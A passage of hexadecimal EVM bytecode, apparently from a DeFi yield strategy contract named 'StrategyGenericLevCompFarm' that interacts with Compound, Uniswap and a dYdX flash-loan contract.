0008060006108ce610ed4565b90925090506108dd82826131f7565b925050505b90565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561096b5780601f106109405761010080835404028352916020019161096b565b820191906000526020600020905b81548152906001019060200180831161094e57829003601f168201915b505050505081565b600f5481565b60408051808201909152601a81527f537472617465677947656e657269634c6576436f6d704661726d000000000000602082015290565b60105460ff1681565b6003546001600160a01b03163314806109ea57506109d5613156565b6001600160a01b0316336001600160a01b0316145b610a065760405162461bcd60e51b815260040161075a90615d10565b600a8190556040517fa68ba126373d04c004c5748c300c9fca12bd444b3d4332e261f3bd2bac4a860090610a3b908390615df9565b60405180910390a150565b600260009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9457600080fd5b505afa158015610aa8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acc91906154e4565b6001600160a01b0316336001600160a01b03161480610b035750610aee613156565b6001600160a01b0316336001600160a01b0316145b610b1f5760405162461bcd60e51b815260040161075a90615d10565b600180546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600a5481565b6006546001600160a01b031681565b6003546001600160a01b031681565b600e5481565b6002546040516339ebf82360e01b815260009182916001600160a01b03909116906339ebf82390610ba6903090600401615a14565b6101206040518083038186803b158015610bbf57600080fd5b505afa158015610bd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf791906157c4565b604001511180610c0e57506000610c0c612be8565b115b905090565b60408051808201909152600581526418171a171960d91b602082015290565b60085481565b6002546000906001600160a01b03163314610c655760405162461bcd60e51b815260040161075a90615c98565b6000610c7083613239565b600654909350909150610c8d906001600160a01b031633836131d8565b50919050565b610c9b613515565b600b5460405163852a12e360e01b81526101009091046001600160a01b03169063852a12e390610ccf908490600401615df9565b602060405180830381600087803b158015610ce957600080fd5b505af1158015610cfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d21919061585a565b15610d2b57600080fd5b600b5460405163073a938160e11b81526101009091046001600160a01b031690630e75270290610d5f908490600401615df9565b602060405180830381600087803b158015610d7957600080fd5b505af1158015610d8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db1919061585a565b15610dbb57600080fd5b50565b610dc6613515565b6010805460ff1916911515919091179055565b610de1613515565b600e55565b610dee613156565b6001600160a01b0316336001600160a01b031614610e1e5760405162461bcd60e51b815260040161075a90615d10565b600b5460405163852a12e360e01b81526101009091046001600160a01b03169063852a12e390610d5f908490600401615df9565b6003546001600160a01b0316331480610e835750610e6e613156565b6001600160a01b0316336001600160a01b0316145b610e9f5760405162461bcd60e51b815260040161075a90615d10565b60078190556040517fbb2c369a0355a34b02ab5fce0643150c87e1c8dfe7c918d465591879f57948b190610a3b908390615df9565b600b546040516361bfb47160e11b8152600091829182918291829161010090046001600160a01b03169063c37f68e290610f12903090600401615a14565b60806040518083038186803b158015610f2a57600080fd5b505afa158015610f3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f629190615872565b93509350935050819350610f91670de0b6b3a7640000610f8b838661354f90919063ffffffff16565b90613589565b94505050509091565b6005546001600160a01b0316331480610fbd57506003546001600160a01b031633145b80610fe05750610fcb613156565b6001600160a01b0316336001600160a01b0316145b806110815750600260009054906101000a90046001600160a01b03166001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b15801561103457600080fd5b505afa158015611048573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106c91906154e4565b6001600160a01b0316336001600160a01b0316145b806111225750600260009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b1580156110d557600080fd5b505afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906154e4565b6001600160a01b0316336001600160a01b0316145b61113e5760405162461bcd60e51b815260040161075a90615d10565b6002546040805163bf3759b560e01b815290516111c1926001600160a01b03169163bf3759b5916004808301926020929190829003018186803b15801561118457600080fd5b505afa158015611198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bc919061585a565b6135cb565b565b6005546001600160a01b03163314806111e657506003546001600160a01b031633145b8061120957506111f4613156565b6001600160a01b0316336001600160a01b0316145b806112aa5750600260009054906101000a90046001600160a01b03166001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b15801561125d57600080fd5b505afa158015611271573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129591906154e4565b6001600160a01b0316336001600160a01b0316145b8061134b5750600260009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fe57600080fd5b505afa158015611312573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133691906154e4565b6001600160a01b0316336001600160a01b0316145b6113675760405162461bcd60e51b815260040161075a90615d10565b6000806000600260009054906101000a90046001600160a01b03166001600160a01b031663bf3759b56040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ba57600080fd5b505afa1580156113ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f2919061585a565b600b5490915060009060ff161561144f57600061140d613833565b9050828110156114285761142183826131f7565b935061143d565b8281111561143d5761143a81846131f7565b94505b61144783856131f7565b915050611460565b61145882613908565b919550935090505b6002546040516339ebf82360e01b81526000916001600160a01b0316906339ebf82390611491903090600401615a14565b6101206040518083038186803b1580156114aa57600080fd5b505afa1580156114be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e291906157c4565b60c001516002546040516328766ebf60e21b81529192506001600160a01b03169063a1d9bafc9061151b90889088908790600401615e8b565b602060405180830381600087803b15801561153557600080fd5b505af1158015611549573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061156d919061585a565b9250611578836135cb565b60015460ff168015611599575060015461010090046001600160a01b031615155b1561164b5760015460405163c70fa00b60e01b81526101009091046001600160a01b03169063c70fa00b906115da9088908890879089908890600401615ebc565b60206040518083038186803b1580156115f257600080fd5b505afa158015611606573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162a91906156cc565b6116465760405162461bcd60e51b815260040161075a90615c31565b611658565b6001805460ff1916811790555b7f4c0f499ffe6befa0ca7c826b0916cf87bea98de658013e76938489368d60d5098585848660405161168d9493929190615ea1565b60405180910390a15050505050565b6116a4613156565b6001600160a01b0316336001600160a01b0316146116d45760405162461bcd60e51b815260040161075a90615d10565b601080549115156101000261ff0019909216919091179055565b600b5460ff1681565b60006117028261295e565b1561170f5750600061171f565b600d5461171a6119e7565b111590505b919050565b60015460ff1681565b600b5461010090046001600160a01b031681565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6003546001600160a01b031633148061178a5750611775613156565b6001600160a01b0316336001600160a01b0316145b6117a65760405162461bcd60e51b815260040161075a90615d10565b6001600160a01b0381166117b957600080fd5b600580546001600160a01b0319166001600160a01b0383161790556040517f2f202ddb4a2e345f6323ed90f8fc8559d770a7abbbeee84dde8aca3351fe715490610a3b908390615a14565b6003546001600160a01b03163314806118355750611820613156565b6001600160a01b0316336001600160a01b0316145b6118515760405162461bcd60e51b815260040161075a90615d10565b61185d60008383615357565b507f300e67d5a415b6d015a471d9c7b95dd58f3e8290af965e84e0f845de2996dda6828260405161188f929190615b74565b60405180910390a15050565b600b54604051633af9e66960e01b815260009182916101009091046001600160a01b031690633af9e669906118d4903090600401615a14565b602060405180830381600087803b1580156118ee57600080fd5b505af1158015611902573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611926919061585a565b600b546040516395dd919360e01b815291935061010090046001600160a01b0316906395dd91939061195c903090600401615a14565b60206040518083038186803b15801561197457600080fd5b505afa158015611988573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119ac919061585a565b90509091565b6006546000906119e19073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2906001600160a01b031684611c34565b92915050565b600b54604051638e8f294b60e01b81526000918291733d9819210a31b4961b30ef54be2aed79b9c9cd3b91638e8f294b91611a339161010090046001600160a01b031690600401615a14565b60606040518083038186803b158015611a4b57600080fd5b505afa158015611a5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a839190615715565b50915050600080611a92610ed4565b915091506000600b60019054906101000a90046001600160a01b03166001600160a01b031663f8f9da286040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae657600080fd5b505afa158015611afa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1e919061585a565b90506000600b60019054906101000a90046001600160a01b03166001600160a01b031663ae9d70b06040518163ffffffff1660e01b815260040160206040518083038186803b158015611b7057600080fd5b505afa158015611b84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba8919061585a565b90506000611bc2670de0b6b3a7640000610f8b878961354f565b9050806000611bd1868661354f565b90506000611bdf838661354f565b9050818110611bfb5760001999505050505050505050506108e2565b6000611c0784896131f7565b9050818303611c2281610f8b84670de0b6b3a764000061354f565b9b5050505050505050505050506108e2565b600081611c4357506000611e6e565b60606001600160a01b03851673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21415611cff57604080516002808252606082018352909160208301908036833701905050905073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600081518110611cac57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110611cda57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050611dbf565b6040805160038082526080820190925290602082016060803683370190505090508481600081518110611d2e57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611d7057fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508381600281518110611d9e57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b60405163d06ca61f60e01b8152606090737a250d5630b4cf539739df2c5dacb4c659f2488d9063d06ca61f90611dfb9087908690600401615e02565b60006040518083038186803b158015611e1357600080fd5b505afa158015611e27573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611e4f919081019061561b565b905080600182510381518110611e6157fe5b6020026020010151925050505b9392505050565b60008082806020019051810190611e8c91906156e8565b909250905033731e0447b19bb6ecfdae1e4ae1694b0c3659614e4e14611eb157600080fd5b6001600160a01b0385163014611ec657600080fd5b611ed08282613bd5565b5050505050565b60095481565b600090565b6003546001600160a01b0316331480611f135750611efe613156565b6001600160a01b0316336001600160a01b0316145b611f2f5760405162461bcd60e51b815260040161075a90615d10565b60098190556040517fd94596337df4c2f0f44d30a7fc5db1c7bb60d9aca4185ed77c6fd96eb45ec29890610a3b908390615df9565b60075481565b611f72613515565b600b54604051638e8f294b60e01b8152600091733d9819210a31b4961b30ef54be2aed79b9c9cd3b91638e8f294b91611fbd916101009091046001600160a01b031690600401615a14565b60606040518083038186803b158015611fd557600080fd5b505afa158015611fe9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061200d9190615715565b5091505081811161201d57600080fd5b50600c55565b6000806000612030610ed4565b915091508160001415612048576000925050506108e2565b6108dd82610f8b670de0b6b3a76400008461354f565b6004546001600160a01b031681565b612075613515565b6111c1613ea6565b600260009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b1580156120cb57600080fd5b505afa1580156120df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061210391906154e4565b6001600160a01b0316336001600160a01b0316148061213a5750612125613156565b6001600160a01b0316336001600160a01b0316145b6121565760405162461bcd60e51b815260040161075a90615d10565b6001805460ff1916911515919091179055565b6005546001600160a01b031681565b60015461010090046001600160a01b031681565b600c5481565b6003546001600160a01b03163314806121c357506121ae613156565b6001600160a01b0316336001600160a01b0316145b6121df5760405162461bcd60e51b815260040161075a90615d10565b6001600160a01b0381166121f257600080fd5b600380546001600160a01b0319166001600160a01b0383161790556040517f352ececae6d7d1e6d26bcf2c549dfd55be1637e9b22dc0cf3b71ddb36097a6b490610a3b908390615a14565b601054610100900460ff1681565b600d5481565b6002546001600160a01b0316331461226857600080fd5b6002546040805163fbfa77cf60e01b815290516001600160a01b039283169284169163fbfa77cf916004808301926020929190829003018186803b1580156122af57600080fd5b505afa1580156122c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122e791906154e4565b6001600160a01b0316146122fa57600080fd5b61230381613fef565b6006546040516370a0823160e01b8152610dbb9183916001600160a01b03909116906370a0823190612339903090600401615a14565b60206040518083038186803b15801561235157600080fd5b505afa158015612365573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612389919061585a565b6006546001600160a01b031691906131d8565b6000806123a7612be8565b6002546040516339ebf82360e01b81529192506000916001600160a01b03909116906339ebf823906123dd903090600401615a14565b6101206040518083038186803b1580156123f657600080fd5b505afa15801561240a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061242e91906157c4565b60c00151905081811115612447576000925050506108e2565b900390506108e2565b612458613515565b600f55565b600080600061246a610ed4565b915091508160001415612482576000925050506108e2565b600b54604051631d7b33d760e01b8152600091733d9819210a31b4961b30ef54be2aed79b9c9cd3b91631d7b33d7916124cd916101009091046001600160a01b031690600401615a14565b60206040518083038186803b1580156124e557600080fd5b505afa1580156124f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061251d919061585a565b90506000600b60019054906101000a90046001600160a01b03166001600160a01b03166347bd37186040518163ffffffff1660e01b815260040160206040518083038186803b15801561256f57600080fd5b505afa158015612583573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a7919061585a565b90506000600b60019054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612631919061585a565b905060006126d1670de0b6b3a7640000610f8b600b60019054906101000a90046001600160a01b03166001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561269257600080fd5b505afa1580156126a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126ca919061585a565b859061354f565b9050600081156126ec576126e982610f8b898861354f565b90505b600084156127055761270285610f8b898961354f565b90505b60006127118383614165565b6002546040516339ebf82360e01b81529192506000916001600160a01b03909116906339ebf82390612747903090600401615a14565b6101206040518083038186803b15801561276057600080fd5b505afa158015612774573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061279891906157c4565b60a00151905060006127af600d610f8b42856131f7565b90506127bb818461354f565b9b50505050505050505050505090565b6003546001600160a01b031633146127f55760405162461bcd60e51b815260040161075a90615bb6565b6001600160a01b03811661280857600080fd5b6002546004805460405163095ea7b360e01b81526001600160a01b039384169363095ea7b39361283f939091169160009101615a9e565b602060405180830381600087803b15801561285957600080fd5b505af115801561286d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061289191906156cc565b50600480546001600160a01b0319166001600160a01b038381169190911780835560025460405163095ea7b360e01b81529083169363095ea7b3936128dc9316916000199101615a9e565b602060405180830381600087803b1580156128f657600080fd5b505af115801561290a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061292e91906156cc565b507fafbb66abf8f3b719799940473a4052a3717cdd8e40fb6c8a3faadab316b1a06981604051610a3b9190615a14565b60008061296a836119b2565b90506129746153d5565b6002546040516339ebf82360e01b81526001600160a01b03909116906339ebf823906129a4903090600401615a14565b6101206040518083038186803b1580156129bd57600080fd5b505afa1580156129d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129f591906157c4565b9050806020015160001415612a0f5760009250505061171f565b60075460a0820151612a229042906131f7565b1015612a335760009250505061171f565b60085460a0820151612a469042906131f7565b10612a565760019250505061171f565b6002546040805163bf3759b560e01b815290516000926001600160a01b03169163bf3759b5916004808301926020929190829003018186803b158015612a9b57600080fd5b505afa158015612aaf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ad3919061585a565b9050600a54811115612aeb576001935050505061171f565b6000612af5612be8565b90508260c00151612b11600a548361416590919063ffffffff16565b1015612b2457600194505050505061171f565b60008360c00151821115612b455760c0840151612b429083906131f7565b90505b6002546040805163112c1f9b60e01b815290516000926001600160a01b03169163112c1f9b916004808301926020929190829003018186803b158015612b8a57600080fd5b505afa158015612b9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612bc2919061585a565b9050612bce8183614165565b600954612bdb908861354f565b1098975050505050505050565b6000806000612bf5610ed4565b915091506000612c0361245d565b6040516370a0823160e01b815290915060009073c00e94cb662c3520282e6f5717214004a7f26888906370a0823190612c40903090600401615a14565b60206040518083038186803b158015612c5857600080fd5b505afa158015612c6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c90919061585a565b600654909150600090612cc69073c00e94cb662c3520282e6f5717214004a7f26888906001600160a01b03166105d78686614165565b90506000612cda600a610f8b84600961354f565b6006546040516370a0823160e01b8152919250612d79918791612d73918591612d6d918c916001600160a01b0316906370a0823190612d1d903090600401615a14565b60206040518083038186803b158015612d3557600080fd5b505afa158015612d49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d6d919061585a565b90614165565b906131f7565b965050505050505090565b6003546001600160a01b0316331480612db55750612da0613156565b6001600160a01b0316336001600160a01b0316145b612dd15760405162461bcd60e51b815260040161075a90615d10565b60088190556040517f5430e11864ad7aa9775b07d12657fe52df9aa2ba734355bd8ef8747be2c800c590610a3b908390615df9565b60115481565b6002546001600160a01b031681565b6003546001600160a01b0316331480612e4c5750612e37613156565b6001600160a01b0316336001600160a01b0316145b80612eed5750600260009054906101000a90046001600160a01b03166001600160a01b031663452a93206040518163ffffffff1660e01b815260040160206040518083038186803b158015612ea057600080fd5b505afa158015612eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ed891906154e4565b6001600160a01b0316336001600160a01b0316145b80612f8e5750600260009054906101000a90046001600160a01b03166001600160a01b03166388a8d6026040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4157600080fd5b505afa158015612f55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f7991906154e4565b6001600160a01b0316336001600160a01b0316145b612faa5760405162461bcd60e51b815260040161075a90615d10565b600b805460ff191660011790556002546040805163507257cd60e11b815290516001600160a01b039092169163a0e4af9a9160048082019260009290919082900301818387803b158015612ffd57600080fd5b505af1158015613011573d6000803e3d6000fd5b50506040517f97e963041e952738788b9d4871d854d282065b8f90a464928d6528f2e9a4fd0b925060009150a1565b8015806130c85750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e906130769030908690600401615a28565b60206040518083038186803b15801561308e57600080fd5b505afa1580156130a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130c6919061585a565b155b6130e45760405162461bcd60e51b815260040161075a90615da3565b61313a8363095ea7b360e01b8484604051602401613103929190615a9e565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b03199093169290921790915261418a565b505050565b606061314e8484600085614219565b949350505050565b60025460408051635aa6e67560e01b815290516000926001600160a01b031691635aa6e675916004808301926020929190829003018186803b15801561319b57600080fd5b505afa1580156131af573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e91906154e4565b606090565b61313a8363a9059cbb60e01b8484604051602401613103929190615a9e565b6000611e6e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506142e7565b6006546040516370a0823160e01b8152600091829182916001600160a01b0316906370a082319061326e903090600401615a14565b60206040518083038186803b15801561328657600080fd5b505afa15801561329a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132be919061585a565b905060006132ce82612d6d6108c1565b90506000600260009054906101000a90046001600160a01b03166001600160a01b031663bf3759b56040518163ffffffff1660e01b815260040160206040518083038186803b15801561332057600080fd5b505afa158015613334573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613358919061585a565b9050818111156133685781810393505b858210156134b65760008061337b61189b565b600b546040516370a0823160e01b81529294509092506001916101009091046001600160a01b0316906370a08231906133b8903090600401615a14565b60206040518083038186803b1580156133d057600080fd5b505afa1580156133e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613408919061585a565b11156134225761342061341b83836131f7565b614313565b505b6006546040516370a0823160e01b81526134ad918a916001600160a01b03909116906370a0823190613458903090600401615a14565b60206040518083038186803b15801561347057600080fd5b505afa158015613484573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134a8919061585a565b614638565b9650505061350d565b85831015613509576134cb61341b87856131f7565b506006546040516370a0823160e01b81526135029188916001600160a01b03909116906370a0823190613458903090600401615a14565b945061350d565b8594505b505050915091565b61351d613156565b6001600160a01b0316336001600160a01b0316148061354657506003546001600160a01b031633145b6111c157600080fd5b60008261355e575060006119e1565b8282028284828161356b57fe5b0414611e6e5760405162461bcd60e51b815260040161075a90615c57565b6000611e6e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061464e565b600b5460ff16156135db57610dbb565b6006546040516370a0823160e01b81526000916001600160a01b0316906370a082319061360c903090600401615a14565b60206040518083038186803b15801561362457600080fd5b505afa158015613638573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061365c919061585a565b90508181101561370557600b546040516370a0823160e01b815260019161010090046001600160a01b0316906370a082319061369c903090600401615a14565b60206040518083038186803b1580156136b457600080fd5b505afa1580156136c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136ec919061585a565b11156136ff576136fd818303614313565b505b50610dbb565b6000806137158484036001614685565b91509150600e5482111561382d5760105460ff166137675760005b82156137615761374a6137438484614760565b84906131f7565b92506006811061375957613761565b600101613730565b5061382d565b6006546040516370a0823160e01b81526001600160a01b03909116906370a08231906137ab90731e0447b19bb6ecfdae1e4ae1694b0c3659614e4e90600401615a14565b60206040518083038186803b1580156137c357600080fd5b505afa1580156137d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137fb919061585a565b8211156138195761381661380f8383614760565b83906131f7565b91505b600e5482111561382d57611ed0818361489c565b50505050565b60006138c3600260009054906101000a90046001600160a01b03166001600160a01b031663bf3759b56040518163ffffffff1660e01b815260040160206040518083038186803b15801561388657600080fd5b505afa15801561389a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138be919061585a565b613239565b5090506000806138d1610ed4565b909250905060006138e283836131f7565b601054909150610100900460ff1661390257600e54811061390257600080fd5b50505090565b600b546040516370a0823160e01b81526000918291829161010090046001600160a01b0316906370a0823190613942903090600401615a14565b60206040518083038186803b15801561395a57600080fd5b505afa15801561396e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613992919061585a565b613a2b576006546040516370a0823160e01b81526000916001600160a01b0316906370a08231906139c7903090600401615a14565b60206040518083038186803b1580156139df57600080fd5b505afa1580156139f3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a17919061585a565b9050613a238186614638565b915050613bce565b600080613a3661189b565b91509150613a42614b2e565b613a4a614bf1565b6006546040516370a0823160e01b81526000916001600160a01b0316906370a0823190613a7b903090600401615a14565b60206040518083038186803b158015613a9357600080fd5b505afa158015613aa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613acb919061585a565b90506000613ad984846131f7565b90506000613ae78284614165565b6002546040516339ebf82360e01b81529192506000916001600160a01b03909116906339ebf82390613b1d903090600401615a14565b6101206040518083038186803b158015613b3657600080fd5b505afa158015613b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613b6e91906157c4565b60c00151905080821115613bb557808203985088841015613b9157839850613bb0565b613b9b898b614165565b841115613baa57899650613bb0565b88840396505b613bc7565b8181039750613bc4848b614638565b96505b5050505050505b9193909250565b6006546040516370a0823160e01b81526000916001600160a01b0316906370a0823190613c06903090600401615a14565b60206040518083038186803b158015613c1e57600080fd5b505afa158015613c32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c56919061585a565b905081811015613c6557600080fd5b8215613d8757600b5460405163073a938160e11b81526101009091046001600160a01b031690630e75270290613c9f908590600401615df9565b602060405180830381600087803b158015613cb957600080fd5b505af1158015613ccd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613cf1919061585a565b50600b5461010090046001600160a01b031663852a12e3613d13846002614165565b6040518263ffffffff1660e01b8152600401613d2f9190615df9565b602060405180830381600087803b158015613d4957600080fd5b505af1158015613d5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d81919061585a565b5061313a565b600b5460405163140e25ad60e31b81526101009091046001600160a01b03169063a0712d6890613dbb908490600401615df9565b602060405180830381600087803b158015613dd557600080fd5b505af1158015613de9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e0d919061585a565b15613e1757600080fd5b600b5461010090046001600160a01b031663c5ebeaec613e38846002614165565b6040518263ffffffff1660e01b8152600401613e549190615df9565b602060405180830381600087803b158015613e6e57600080fd5b505af1158015613e82573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061382d919061585a565b6000731e0447b19bb6ecfdae1e4ae1694b0c3659614e4e90506000816001600160a01b031663295c39a56040518163ffffffff1660e01b815260040160206040518083038186803b158015613efa57600080fd5b505afa158015613f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f32919061585a565b90506000805b82811015613fe95760405163062bd3e960e01b81526001600160a01b0385169063062bd3e990613f6c908490600401615df9565b60206040518083038186803b158015613f8457600080fd5b505afa158015613f98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fbc91906154e4565b6006549092506001600160a01b0380841691161415613fe157601155506111c1915050565b600101613f38565b50600080fd5b601054610100900460ff16610dbb5760008061400961189b565b909250905061401b61341b83836131f7565b50600b546040516361bfb47160e11b815260009161010090046001600160a01b03169063c37f68e290614052903090600401615a14565b60806040518083038186803b15801561406a57600080fd5b505afa15801561407e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140a29190615872565b509250505061271081106140b557600080fd5b6040516370a0823160e01b815273c00e94cb662c3520282e6f5717214004a7f268889060009082906370a08231906140f1903090600401615a14565b60206040518083038186803b15801561410957600080fd5b505afa15801561411d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614141919061585a565b9050801561415d5761415d6001600160a01b03831687836131d8565b505050505050565b600082820183811015611e6e5760405162461bcd60e51b815260040161075a90615bfa565b60606141df826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661313f9092919063ffffffff16565b80519091501561313a57808060200190518101906141fd91906156cc565b61313a5760405162461bcd60e51b815260040161075a90615d35565b606061422485614de6565b6142405760405162461bcd60e51b815260040161075a90615cd9565b60006060866001600160a01b0316858760405161425d91906159f8565b60006040518083038185875af1925050503d806000811461429a576040519150601f19603f3d011682016040523d82523d6000602084013e61429f565b606091505b509150915081156142b357915061314e9050565b8051156142c35780518082602001fd5b8360405162461bcd60e51b815260040161075a9190615ba3565b5050949350505050565b6000818484111561430b5760405162461bcd60e51b815260040161075a9190615ba3565b505050900390565b6000806000614323846000614685565b915091508080156143355750600e5482115b1561439b5760105460ff16156143555761435261380f828461489c565b91505b60005b600e54614366906064614165565b8311156143995761437b613743846001614760565b9250600101600560ff8216106143945760019350614399565b614358565b505b6000806143a6610ed4565b600c5491935091506000816143c05766038d7ea4c6800091505b6143d682610f8b85670de0b6b3a764000061354f565b905080841061450b5760006143eb85836131f7565b90508881101561448157600b5460405163852a12e360e01b81526101009091046001600160a01b03169063852a12e390614429908490600401615df9565b602060405180830381600087803b15801561444357600080fd5b505af1158015614457573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061447b919061585a565b50614509565b600b5460405163852a12e360e01b81526101009091046001600160a01b03169063852a12e3906144b5908c90600401615df9565b602060405180830381600087803b1580156144cf57600080fd5b505af11580156144e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614507919061585a565b505b505b600c5415801561459857506006546040516370a0823160e01b815284916001600160a01b0316906370a0823190614546903090600401615a14565b60206040518083038186803b15801561455e57600080fd5b505afa158015614572573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614596919061585a565b115b1561462557600b5460405163073a938160e11b81526101009091046001600160a01b031690630e752702906145d1908690600401615df9565b602060405180830381600087803b1580156145eb57600080fd5b505af11580156145ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614623919061585a565b505b61462d614bf1565b505050505050919050565b60008183106146475781611e6e565b5090919050565b6000818361466f5760405162461bcd60e51b815260040161075a9190615ba3565b50600083858161467b57fe5b0495945050505050565b60008060008061469361189b565b909250905060006146a483836131f7565b9050600086156146bf576146b88289614165565b90506146d8565b818811156146cb578197505b6146d582896131f7565b90505b60006146ef600c548361354f90919063ffffffff16565b90506000614710600c54670de0b6b3a76400006131f790919063ffffffff16565b9050600061471e8383613589565b9050620186a0811115614732576201869f19015b8581101561474857600197508086039850614752565b6000975085810398505b505050505050509250929050565b600080600061476d610ed4565b9150915080600014801561477e5750835b1561478e576000925050506119e1565b600b54604051638e8f294b60e01b8152600091733d9819210a31b4961b30ef54be2aed79b9c9cd3b91638e8f294b916147d9916101009091046001600160a01b031690600401615a14565b60606040518083038186803b1580156147f157600080fd5b505afa158015614805573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906148299190615715565b5091505084156148465761483f86848484614e1f565b9350614855565b61485286848484615033565b93505b7f012a05dea1e4b56be6c250aaa3e6189a1f531f1fd201b35b2a74c56577000bf4868587600060405161488b9493929190615e65565b60405180910390a150505092915050565b6000816148ab575060006119e1565b6006546040516370a0823160e01b81528391731e0447b19bb6ecfdae1e4ae1694b0c3659614e4e916000916001600160a01b0316906370a08231906148f4908590600401615a1456